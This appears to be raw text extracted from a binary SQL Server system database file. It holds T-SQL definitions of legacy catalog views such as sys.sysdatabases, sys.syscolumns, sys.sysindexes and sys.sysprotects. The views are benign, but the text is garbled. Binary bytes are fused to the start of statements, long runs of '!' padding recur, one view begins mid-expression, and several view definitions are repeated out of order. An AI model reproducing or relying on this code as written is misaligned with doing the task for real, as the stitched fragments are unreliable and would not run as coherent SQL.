		package			 = convert(sysname, p.name) collate catalog_default,
		module			 = convert(sysname, m.name) collate catalog_default
	FROM master.sys.sysobjvalues v
	LEFT JOIN master.sys.sysqnames p ON p.nid =
		((((substring( v.imageval, 4, 1 ) * 256 ) +
			substring( v.imageval, 3, 1 ) * 256 ) +
			substring( v.imageval, 2, 1 ) * 256 ) +
			substring( v.imageval, 1, 1 ))
	LEFT JOIN master.sys.sysqnames m ON m.nid = p.qid
	WHERE v.valclass = 58			-- SVC_XE_SESSION_ACTION
	AND has_access ('ES', 0) = 1
0 b8CREATE VIEW sys.server_event_session_fields AS
	SELECT 
		event_session_id = v.objid,
		object_id		 = v.subobjid,
		name			 = convert(sysname, v.imageval) collate catalog_default,
		value			 = v.value
	FROM master.sys.sysobjvalues v
	WHERE v.valclass = 59 		 -- SVC_XE_SESSION_FIELD
	AND has_access ('ES', 0) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
1GB
[aS`.<=)k06@ :8CREATE VIEW sys.sysdatabases AS
	SELECT name, dbid = convert(smallint, id),
		sid,
		mode = convert(smallint, 0),
		status = convert(int, dbprop((case when serverproperty('EngineEdition') = 5 then DB_ID() else id end), 'status80')),
		status2 = convert(int,status2 & 0x77937C00),
		crdate,
		reserved = convert(datetime, 0),
		category = convert(int,category & 0x37),
		cmptlevel,
		filename = convert(nvarchar(260), dbprop((case when serverproperty('EngineEdition') = 5 then DB_ID() else id end), 'primaryfilename')),
		version = convert(smallint, dbprop((case when serverproperty('EngineEdition') = 5 then DB_ID() else id end), 'Version'))
	FROM sys.sysdbreg
	WHERE id < 0x7fff AND has_access('DB', (case when serverproperty('EngineEdition') = 5 then DB_ID() else id end)) = 1 
0; 8CREATE VIEW sys.syscurconfigs AS
	SELECT value,
		convert(smallint, id) AS config,
		description AS comment,
		convert(smallint, status) AS status
	FROM OpenRowset(TABLE CFGPROP)
0<@ 8CREATE VIEW sys.sysconfigures AS
	SELECT
		convert(int, value) AS value,
		configuration_id AS config,
		description AS comment,
		convert(smallint, is_dynamic + is_advanced*2) AS status
	FROM sys.configurations
09@ t8CREATE VIEW sys.syscursorrefs AS
	SELECT *
	FROM OpenRowSet(TABLE SYSCURSORREFS)
08@ n8CREATE VIEW sys.syscursors AS
	SELECT *
	FROM OpenRowSet(TABLE SYSCURSORS)
0:@ w8CREATE VIEW sys.syscursorcolumns AS
	SELECT *
	FROM OpenRowSet(TABLE SYSCURSORCOLS)
07@ v8CREATE VIEW sys.syscursortables AS
	SELECT *
	FROM OpenRowSet(TABLE SYSCURSORTBLS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!sPn`+-<*mf0|@ 8CREATE VIEW sys.sysconstraints AS
	SELECT constid = object_id,
		id = parent_object_id,
		colid = convert(smallint, property),
		spare1 = convert(tinyint, 0),
		status = convert(int,
				CASE type
					WHEN 'PK' THEN 1 WHEN 'UQ' THEN 2 WHEN 'F ' THEN 3
					WHEN 'C ' THEN 4 WHEN 'D ' THEN 5 ELSE 0 END
				+ CASE WHEN property <> 0 THEN (16) ELSE (32) END
				+ CASE WHEN ObjectProperty(object_id, 'CnstIsClustKey') <> 0
						THEN (512) ELSE 0 END
				+ CASE WHEN ObjectProperty(object_id, 'CnstIsNonclustKey') <> 0
						THEN (1024) ELSE 0 END
				+ (is_system_named * 131072)
				+ (2048)						-- CNST_NOTDEFERRABLE
				+ (is_disabled * 16384)
				+ (is_not_for_replication * 2097152)),
		actions = convert(int,  4096),
		error = convert(int, 0)
	FROM sys.objects$
	WHERE parent_object_id > 0
		AND type IN ('C ', 'F ', 'PK', 'UQ', 'D ')
0}@ c8CREATE VIEW sys.sysforeignkeys AS
	SELECT
		constid = constraint_object_id,
		fkeyid = parent_object_id,
		rkeyid = referenced_object_id,
		fkey = convert(smallint, parent_column_id),
		rkey = convert(smallint, referenced_column_id),
		keyno = convert(smallint, constraint_column_id)
	FROM sys.foreign_key_columns
0~@ "8CREATE VIEW sys.sysdepends AS
	SELECT
		id = object_id,
		depid = referenced_major_id,
		number = convert(smallint,
			case when objectproperty(object_id, 'isprocedure') = 1 then 1 else column_id end),
		depnumber = convert(smallint, referenced_minor_id),
		status = convert(smallint, is_select_all * 2 + is_updated * 4 + is_selected * 8),
		deptype = class,
		depdbid = convert(smallint, 0),
		depsiteid = convert(smallint, 0),
		selall = is_select_all,
		resultobj = is_updated,
		readobj = is_selected
	FROM sys.sql_dependencies
	WHERE class < 2
	UNION ALL
	SELECT		-- blobtype dependencies
		id = object_id, depid = object_id,
		number = convert(smallint, column_id), depnumber = convert(smallint, type_column_id),
		status = convert(smallint, 0), deptype = sysconv(tinyint, 1),
		depdbid = convert(smallint, 0), depsiteid = convert(smallint, 0),
		selall = sysconv(bit, 0), resultobj = sysconv(bit, 0), readobj = sysconv(bit, 0)
	FROM sys.fulltext_index_columns
	WHERE type_column_id IS NOT NULL
0@ w8-- Return system objects in master database context
CREATE VIEW sys.syscomments AS
	SELECT o.id AS id,
		convert(smallint, case when o.type in ('P', 'RF') then 1 else 0 end) AS number,
		s.colid, s.status,
		convert(varbinary(8000), s.text) AS ctext,
		convert(smallint, 2 + 4 * (s.status & 1)) AS texttype,
		convert(smallint, 0) AS language,
		sysconv(bit, s.status & 1) AS encrypted,
		sysconv(bit, 0) AS compressed,
		s.text
	FROM sys.sysschobjs o CROSS APPLY OpenRowset(TABLE SQLSRC, o.id, 0) s
	WHERE o.nsclass = 0 -- x_eonc_Standard
		AND o.pclass = 1 -- x_eunc_Object
		AND o.type IN ('C','D','P','R','V','X','FN','IF','TF','RF','IS','TR')
	AND (DB_ID() = 1 AND has_access('AO', o.id) = 1 OR has_access('CO', o.id) = 1)
	UNION ALL
	SELECT c.object_id AS id,
		convert(smallint, c.column_id) AS number,
		s.colid, s.status,
		convert(varbinary(8000), s.text) AS ctext,
		convert(smallint, 2 + 4 * (s.status & 1)) AS texttype,
		convert(smallint, 0) AS language,
		sysconv(bit, s.status & 1) AS encrypted,
		sysconv(bit, 0) AS compressed,
		s.text
	FROM sys.computed_columns c CROSS APPLY OpenRowset(TABLE SQLSRC, c.object_id, c.column_id) s
	UNION ALL
	SELECT p.object_id AS id,
		convert(smallint, p.procedure_number) AS number,
		s.colid, s.status,
		convert(varbinary(8000), s.text) AS ctext,
		convert(smallint, 2 + 4 * (s.status & 1)) AS texttype,
		convert(smallint, 0) AS language,
		sysconv(bit, s.status & 1) AS encrypted,
		sysconv(bit, 0) AS compressed,
		s.text
	FROM sys.numbered_procedures p CROSS APPLY OpenRowset(TABLE SQLSRC, p.object_id, p.procedure_number) s
_nullable and timestamp/char/binary
			+ (status & 512)/8			-- CPM_OUTPUT (is_output * 64)
			+ (status & 16)*4			-- CPM_COMPUTED (is_computed*64)
			+ (status & 4)*32),			-- CPM_IDENTCOL (is_identity * 128)
		type = xtypetotds(xtype, 1 - (status & 1)),	-- CPM_NOTNULL (is_nullable)
		usertype = convert(smallint, columnproperty(id, name, 'oldusertype')),
		printfmt = convert(varchar(255), null),
		prec = convert(smallint,
			case when xtype in (34, 35, 99) then null	-- ntext, image, text
			when xtype = 36 then prec					-- uniqueidentifier
			when length = -1 then -1					-- new style large objects
			else odbcprec(xtype, length, prec) end),
		scale = odbcscale(xtype, scale),
		iscomputed = convert(int, (status & 16)/16),	-- CPM_COMPUTED (is_computed)
		isoutparam = convert(int, (status & 512)/512),	-- CPM_OUTPUT (is_output)
		isnullable = convert(int, 1 - (status & 1)),	-- CPM_NOTNULL (is_nullable)
		collation = convert(sysname, collationpropertyfromid(collationid, 'name')),
		tdscollation = convert(binary(5), collationpropertyfromid(collationid, 'tdscollation'))
	FROM sys.syscolpars
	WHERE has_access('CO', id) = 1
	UNION ALL
	SELECT name collate catalog_default AS name,
		id, xtype, typestat, xusertype, length, xprec, xscale,
		colid, xoffset, bitpos, reserved, colstat, cdefault,
		domain, number, colorder, autoval, offset, collationid,
		language, status, type, usertype, printfmt, prec, scale,
		iscomputed, isoutparam, isnullable, collation, tdscollation
	FROM sys.syscolumns$
	WHERE has_access('RO', id) = 1
0}@ c8CREATE VIEW sys.sysforeignkeys AS
	SELECT
		constid = constraint_object_id,
		fkeyid = parent_object_id,
		rkeyid = referenced_object_id,
		fkey = convert(smallint, parent_column_id),
		rkey = convert(smallint, referenced_column_id),
		keyno = convert(smallint, constraint_column_id)
	FROM sys.foreign_key_columns
0~@ "8CREATE VIEW sys.sysdepends AS
	SELECT
		id = object_id,
		depid = referenced_major_id,
		number = convert(smallint,
			case when objectproperty(object_id, 'isprocedure') = 1 then 1 else column_id end),
		depnumber = convert(smallint, referenced_minor_id),
		status = convert(smallint, is_select_all * 2 + is_updated * 4 + is_selected * 8),
		deptype = class,
		depdbid = convert(smallint, 0),
		depsiteid = convert(smallint, 0),
		selall = is_select_all,
		resultobj = is_updated,
		readobj = is_selected
	FROM sys.sql_dependencies
	WHERE class < 2
	UNION ALL
	SELECT		-- blobtype dependencies
		id = object_id, depid = object_id,
		number = convert(smallint, column_id), depnumber = convert(smallint, type_column_id),
		status = convert(smallint, 0), deptype = sysconv(tinyint, 1),
		depdbid = convert(smallint, 0), depsiteid = convert(smallint, 0),
		selall = sysconv(bit, 0), resultobj = sysconv(bit, 0), readobj = sysconv(bit, 0)
	FROM sys.fulltext_index_columns
	WHERE type_column_id IS NOT NULL
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!f	D`,*<	+Szq0y@ 8CREATE VIEW sys.sysindexkeys AS
	SELECT
		id = object_id,
		indid = convert(smallint, index_id),
		colid = convert(smallint, column_id),
		keyno = convert(smallint, key_ordinal)
	FROM sys.index_columns
	WHERE index_id < 256000
0z@ 
8CREATE VIEW sys.sysindexes AS
	SELECT id,
		status = convert(int,
			case i.indid when 1 then 16 else 0 end	-- (is_clustered * 16)
			+ (i.status & 8)/4		-- IS_IND_UNIQUE (is_unique * 2)
			+ (i.status & 4)/4		-- IS_IND_DPKEYS (ignore_dup_key * 1)
			+ (i.status & 32)*64	-- IS_IND_PRIMARY (is_primary_key * 2048)
			+ (i.status & 64)*64	-- IS_IND_UNIQUE_CO (is_unique_constraint * 4096)
			+ (i.status & 16)*16	-- IS_IND_PADINDEX (is_padded * 256)
			+ (i.status & 256)/8		-- IS_IND_ITWINDEX (is_hypothetical * 32)
			+ (1-(i.status & 1))*64	-- IS_INDEX
			+ (i.status & 8192)*1024	-- IS_STATS_AUTO_CRT (auto_created * 0x800000)
			+ (i.status & 16384)*1024),	-- IS_STATS_NORECOMP (no_recompute * 0x1000000)
		first = case when i.rowset > 0 then p.first end,
		indid = convert(smallint, i.indid),
		root = case when i.rowset > 0 then p.root end,
		minlen = convert(smallint, case when i.status & 1 = 0 then 0 else indexproperty(i.id, i.name, 'minlen') end),
		keycnt = convert(smallint, indexproperty(i.id, i.name, 'keycnt80')),
		groupid = convert(smallint, case
			when (i.status & 1) = 0 then 0
			when (i.status & 256) <> 0 then 0
			when d.indepid is null then 1
			when d.indepid < 32768 then d.indepid end),
		dpages = convert(int, case when i.status & 1 = 0 then 0 else p.data_pages end),
		reserved = convert(int, case when i.status & 1 = 0 then 0 else p.total_pages end),
		used = convert(int, case when i.status & 1 = 0 then 0 else p.used_pages end),
		rowcnt = convert(bigint, case when i.status & 1 = 0 then 0 else p.rows end),
		rowmodctr = convert(int, indexproperty(i.id, i.name, 'rowmodcnt80')),
		reserved3 = convert(tinyint, 0),
		reserved4 = convert(tinyint, 0),
		xmaxlen = convert(smallint, case when i.status & 1 = 0 then 0 else indexproperty(i.id, i.name, 'maxlen') end),
		p.maxirow,
		OrigFillFactor = convert(tinyint, (i.status & 1)*fillfact),	-- fill_factor
		StatVersion = convert(tinyint, 0),
		reserved2 = convert(int, 0),
		FirstIAM = case when i.rowset > 0 then p.FirstIAM end,
		impid = convert(smallint, 0),
		lockflags = convert(smallint, (i.status & 512)/512 + (i.status & 1024)/512),	-- no_row_locks + no_page_locks*2
		pgmodctr = convert(int, 0),
		keys = convert(varbinary(1088), null),
		name = name,
		statblob = convert (image, null),
		maxlen = convert(int, 8000),
		rows = convert(int,  case when i.status & 1 = 0 then 0 else 0x7FFFFFFF & p.rows end)
	FROM sys.sysidxstats i OUTER APPLY OpenRowset(TABLE INDEXPROP, i.id, i.indid, i.rowset) p
	LEFT JOIN sys.syssingleobjrefs d ON d.depid = i.id AND d.class = 7 AND d.depsubid = i.indid	-- SRC_INDEXTODS	
	WHERE i.indid < 256000
		AND has_access('CO', i.id) = 1
0{@ 8CREATE VIEW sys.sysfulltextcatalogs AS
	SELECT ftcatid = convert(smallint, fulltext_catalog_id),
		name, status = convert(smallint, is_default), path
	FROM sys.fulltext_catalogs
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!k`+<,
,Sfi0u@ 08CREATE VIEW sys.systypes AS
	SELECT
		name,
		xtype = system_type_id,
		status = convert(tinyint, 1 - is_nullable),
		xusertype = convert(smallint, user_type_id),
		length = max_length,
		xprec = precision,
		xscale = scale,
		tdefault = default_object_id,
		domain = rule_object_id,
		uid = convert(smallint, schema_id),
		reserved = convert(smallint, 0),
		collationid = convert(int, collationproperty(collation_name, 'collationid')),
		usertype = convert(smallint, typepropertyex(user_type_id, 'oldusertype')),
		variable = sysconv(bit,	-- nvarchar, varchar or varbinary
			case when system_type_id in (165, 167, 231) then 1 else 0 end),
		allownulls = is_nullable,
		type = xtypetotds(system_type_id, 0),
		printfmt = convert(varchar(255), null),
		prec = convert(smallint,	-- ntext, image or text
			case when system_type_id not in (34, 35, 99) then typepropertyex(user_type_id, 'precision') end),
		scale = convert(tinyint, typepropertyex(user_type_id, 'scale')),
		collation = collation_name
	FROM sys.types
0v@ 8CREATE VIEW sys.sysreferences AS
	SELECT
		constid = f.object_id,
		fkeyid = f.parent_object_id,
		rkeyid = f.referenced_object_id,
		rkeyindid = convert(smallint, f.key_index_id),
		keycnt = r.keycnt,
		forkeys = convert(varbinary(32), null),
		refkeys = convert(varbinary(32), null),
		fkeydbid = convert(smallint, 0),
		rkeydbid = convert(smallint, 0),
		r.fkey1, r.fkey2, r.fkey3, r.fkey4, r.fkey5, r.fkey6, r.fkey7, r.fkey8,
		r.fkey9, r.fkey10, r.fkey11, r.fkey12, r.fkey13, r.fkey14, r.fkey15, r.fkey16,
		r.rkey1, r.rkey2, r.rkey3, r.rkey4, r.rkey5, r.rkey6, r.rkey7, r.rkey8,
		r.rkey9, r.rkey10, r.rkey11, r.rkey12, r.rkey13, r.rkey14, r.rkey15, r.rkey16
	FROM sys.foreign_keys f OUTER APPLY OpenRowset(TABLE SYSREF, f.object_id) r
0w@ 8CREATE VIEW sys.sysprotects AS
	SELECT id = major_id,
		uid = convert(smallint, grantee_principal_id),
		action = convert(tinyint, case type
			when 'IN' then 195 when 'DL' then 196 when 'EX' then 224
			when 'CRFN' then 178 when 'CRTB' then 198 when 'CRDB' then 203
			when 'CRVW' then 207 when 'CRPR' then 222  when 'BADB' then 228
			when 'CRDF' then 233 when 'BALO' then 235 when 'CRRU' then 236 end),
		protecttype = convert(tinyint, case state
			when 'W' then 204 when 'G' then 205 when 'D' then 206 end),
		columns = convert(varbinary(4000), null),
		grantor = convert(smallint, grantor_principal_id)
	FROM sys.database_permissions
	WHERE class < 2 AND minor_id = 0 AND (type in ('IN','DL','EX') OR charindex(type, 'CRFNCRTBCRDBCRVWCRPRBADBCRDFBALOCRRU')%4 > 0)
	UNION ALL
	SELECT id = c.major_id,
		uid = convert(smallint, c.grantee_principal_id),
		action = convert(tinyint, case c.type
			when 'RF' then 26 when 'SL' then 193 when 'UP' then 197 end),
		protecttype = convert(tinyint, case o.state
			when 'W' then 204 when 'G' then 205 when 'D' then 206 end),
		columns = PowerSum(c.minor_id),
		grantor = convert(smallint, c.grantor_principal_id)
	FROM sys.database_permissions c
	JOIN sys.database_permissions o
		ON o.class = 1 and o.major_id = c.major_id and o.minor_id = 0
			and o.grantee_principal_id = c.grantee_principal_id
			and o.grantor_principal_id = c.grantor_principal_id
			and o.type = c.type and o.state <> 'R'
	WHERE c.class = 1 AND c.type in ('RF','SL','UP')
	GROUP BY c.major_id, c.grantee_principal_id, c.grantor_principal_id, c.type, o.state
	UNION ALL
	SELECT id = major_id,
		uid = convert(smallint, grantee_principal_id),
		action = convert(tinyint, case type
			when 'RF' then 26 when 'SL' then 193 when 'UP' then 197 end),
		protecttype = convert(tinyint, case state
			when 'W' then 204 when 'G' then 205 when 'D' then 206 end),
		columns = PowerSum(minor_id),
		grantor = convert(smallint, grantor_principal_id)
	FROM sys.database_permissions
	WHERE class = 1 AND minor_id <> 0 AND state <> 'R'
	GROUP BY major_id, grantee_principal_id, grantor_principal_id, type, state
0x@ 8CREATE VIEW sys.syspermissions AS
	SELECT
		id = major_id,
		grantee = convert(smallint, grantee_principal_id),
		grantor = convert(smallint, grantor_principal_id),
		actadd = convert(smallint, null),
		actmod = convert(smallint, null),
		seladd = convert(varbinary(4000), null),
		selmod = convert(varbinary(4000), null),
		updadd = convert(varbinary(4000), null),
		updmod = convert(varbinary(4000), null),
		refadd = convert(varbinary(4000), null),
		refmod = convert(varbinary(4000), null)
	FROM sys.database_permissions
	WHERE class in (0, 1)
	GROUP BY class, major_id, grantee_principal_id, grantor_principal_id
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!2`*<
y-mt0@ 
8CREATE VIEW sys.all_sql_modules AS
	SELECT object_id = o.id,
		definition = object_definition(o.id),
		uses_ansi_nulls = convert(bit, o.status & 0x40000), 			-- OBJMOD_ANSINULLS
		uses_quoted_identifier = convert(bit, o.status & 0x80000), 		-- OBJMOD_QUOTEDIDENT
		is_schema_bound = convert(bit, o.status & 0x20000), 			-- OBJMOD_SCHEMABOUND
		uses_database_collation = convert(bit, o.status & 0x100000), 	-- OBJMOD_USESDBCOLL
		is_recompiled = convert(bit, o.status & 0x400000), 				-- OBJMOD_NOCACHE
		null_on_null_input = convert(bit, o.status & 0x200000), 		-- OBJMOD_NULLONNULL
		execute_as_principal_id = x.indepid
	FROM sys.sysschobjs o
	LEFT JOIN sys.syssingleobjrefs x ON x.depid = o.id AND x.class = 22 AND x.depsubid = 0 -- SRC_OBJEXECASOWNER
	WHERE o.pclass <> 100 -- x_eunc_Server
		AND ((o.type = 'TR' AND has_access('TR', o.id, o.pid, o.nsclass) = 1)
			OR (type IN ('P','V','FN','IF','TF','RF','IS') AND has_access('AO', o.id) = 1)
			OR (type IN ('R','D') AND o.pid = 0))
0@ 8-- Return visible system objects in master database context
CREATE VIEW sys.syscolumns AS
	SELECT name, id, xtype,
		typestat = convert(tinyint, status & 3),	-- (1-is_nullable) + is_ansi_padded * 2
		xusertype = convert(smallint, utype),
		length, xprec = prec,
		xscale = scale,
		colid = convert(smallint, colid),
		xoffset = convert(smallint, 0),
		bitpos = convert(tinyint, 0),
		reserved = convert(tinyint, 0),
		colstat = convert(smallint,
			(status & 4)/4				-- CPM_IDENTCOL (is_identity)
			+ (status & 8)/4			-- CPM_ROWGUIDCOL (is_rowguidcol * 2)
			+ (status & 16)/4			-- CPM_COMPUTED (is_computed * 4)
			+ (status & 512)/128		-- CPM_OUTPUT (is_output * 4)
			+ (status & 1024)/32		-- CPM_CURSORREF (is_cursor_ref * 32)					
			+ (status & 0x20000)/32		-- CPM_REPLICAT (is_replicated * 4096)
			+ (status & 0x40000)/32		-- CPM_NONSQSSUB (is_non_sql_subscribed * 8192)
			+ (status & 0x80000)/32		-- CPM_MERGEREPL (is_merge_published * 16384)
			+ (status & 0x100000)/32),	-- CPM_REPLDTS (is_dts_replicated * 32768)
		cdefault = dflt,
		domain = chk,
		number = convert(smallint, case number when 1 then 1 - objectproperty(id, 'isscalarfunction') else number end),
		colorder = convert(smallint, colid),
		autoval = convert(varbinary(8000), null),
		offset  = convert(smallint, case number when 0 then columnproperty(id, name, 'sql65offset') else 0 end),
		collationid,
		language = case number when 0 then columnproperty(id, name, 'fulltextlcid') else 0 end,
		status = convert(tinyint,
			(1-(status & 1))*8			-- CPM_NOTNULL (is_nullable * 8)
			+ case when (status & 2 <> 0) or (xtype in (34, 35) and status & 0x20000 <> 0)	-- CPM_NOTRIM,CPM_REPLICAT
			then 16 else 0 end			-- image, text (is_ansi_padded <> 0 or (system_type_id in (34, 35) and is_replicated <> 0))
			+ case when (xtype in (34, 35) and status & 0x40000 <> 0) or (xtype in (173, 175, 189) and status & 1 = 0)
			then 32 else 0 end			-- (is_non_sql_subscribed <> 0 and image/text) or is_nullable and timestamp/char/binary
			+ (status & 512)/8			-- CPM_OUTPUT (is_output * 64)
			+ (status & 16)*4			-- CPM_COMPUTED (is_computed*64)
			+ (status & 4)*32),			-- CPM_IDENTCOL (is_identity * 128)
		type = xtypetotds(xtype, 1 - (status & 1)),	-- CPM_NOTNULL (is_nullable)
		usertype = convert(smallint, columnproperty(id, name, 'oldusertype')),
		printfmt = convert(varchar(255), null),
		prec = convert(smallint,
			case when xtype in (34, 35, 99) then null	-- ntext, image, text
			when xtype = 36 then prec					-- uniqueidentifier
			when length = -1 then -1					-- new style large objects
			else odbcprec(xtype, length, prec) end),
		scale = odbcscale(xtype, scale),
		iscomputed = convert(int, (status & 16)/16),	-- CPM_COMPUTED (is_computed)
		isoutparam = convert(int, (status & 512)/512),	-- CPM_OUTPUT (is_output)
		isnullable = convert(int, 1 - (status & 1)),	-- CPM_NOTNULL (is_nullable)
		collation = convert(sysname, collationpropertyfromid(collationid, 'name')),
		tdscollation = convert(binary(5), collationpropertyfromid(collationid, 'tdscollation'))
	FROM sys.syscolpars
	WHERE has_access('CO', id) = 1
	UNION ALL
	SELECT name collate catalog_default AS name,
		id, xtype, typestat, xusertype, length, xprec, xscale,
